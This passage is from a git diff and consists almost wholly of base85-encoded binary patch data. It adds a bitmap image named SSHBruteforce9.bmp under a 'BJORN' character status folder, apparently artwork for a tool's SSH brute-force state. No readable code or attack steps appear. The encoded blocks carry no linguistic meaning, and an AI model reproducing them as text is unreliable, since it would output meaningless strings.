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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce9.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce9.bmp new file mode 100644 index 0000000000000000000000000000000000000000..68fe849175c9178c33154c3a74120c5a120abe23 GIT binary patch literal 18462 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 